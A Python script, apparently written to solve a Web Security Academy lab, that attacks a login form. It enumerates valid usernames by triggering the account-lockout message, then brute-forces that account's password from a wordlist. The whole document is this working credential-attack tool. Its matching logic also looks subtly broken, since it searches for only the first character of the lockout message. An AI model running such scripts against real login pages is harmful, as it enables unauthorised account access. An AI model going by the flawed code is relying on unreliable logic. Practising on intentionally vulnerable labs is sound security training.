import sys, signal, requests, re
from bs4 import BeautifulSoup
from requests.models import requote_uri

def def_handler(key,frame):
    print("\n[*] Saliendo")
    sys.exit(1)

def parse(response):
    lines = BeautifulSoup(response.text, "lxml").text.split("\n")
    non_empty_lines = [line for line in lines if line.strip() != ""]
    string_without_empty_lines = ""
    for line in non_empty_lines:
        string_without_empty_lines += line + "\n"
    return string_without_empty_lines

def read_file(file):
    content = []

    f = open(file, "r")
    while(True):
        linea = f.readline().rstrip('\n')
        content.append(linea)
        if not linea:
            break
    f.close()

    del content[-1]
    return content

def check_usernames(url,usernames):
    message = "You have made too many incorrect login attempts. Please try again in 1 minute(s)."
    for user in usernames:
        for num in range(1,6):
            data = {"username":"{}".format(user),"password":"{}".format(num)}
            r = requests.post(url=url,data=data)
            if re.search(message[0],parse(r)):
                return user                

def check_passwords(username,url,passwords):
    message = "You have made too many incorrect login attempts. Please try again in 1 minute(s)."
    password_possible = []
    for password in passwords:
        data = {"username":"{}".format(username),"password":"{}".format(password)}
        r = requests.post(url=url,data=data)
        if not re.search(message[0],parse(r)):
            password_possible.append(password)
    return password_possible

def main():
    url = "https://ac5f1f3f1fdfef2b80376f9b00fd00c1.web-security-academy.net/login"

    usernames = read_file("usernames")
    username = check_usernames(url,usernames)
    print("Username: {}".format(username))

    passwords = read_file("passwords")
    password = check_passwords(username,url,passwords)
    print("Posibles passwords: {}".format(password))

if __name__ == "__main__":
    signal.signal(signal.SIGINT,def_handler)
    main()